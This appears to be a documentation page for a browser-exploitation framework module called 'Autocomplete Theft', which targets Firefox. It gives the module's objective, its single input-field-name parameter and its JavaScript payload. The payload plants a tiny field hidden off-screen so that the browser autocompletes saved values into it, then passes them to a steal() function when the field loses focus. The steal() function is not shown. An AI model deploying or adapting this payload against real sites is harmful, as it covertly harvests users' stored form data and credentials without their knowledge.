Module: Autocomplete Theft

Summary

• Objective: steal autocomplete values from Firefox

• Authors: Stefano Di Paola, bcoles

• Browsers: Firefox

• Paramters :

  • Input Field Name : name of input field to steal values from

• Code

Internal Working

This module will steal form field data when the user tries to autocomplete the chosen input field with arrow keys.

input = document.createElement('input');
input.setAttribute("id",    "placeholder");
input.setAttribute("name",  "<%= @input_name %>");
input.setAttribute("style", "position:relative;top:-1000px;left:-1111px;width:1px;height:1px;border:none;");
input.setAttribute("type",  "text");
input.onkeyup   = function(event) { tt(event); }
input.onkeydown = function(event) { tt(event); }
input.onblur    = function(event) { steal(this.name,this.value);var o=this;setTimeout(function(){ o.focus();},100);this.value = "";document.body.removeChild(this); }
document.body.appendChild(input);

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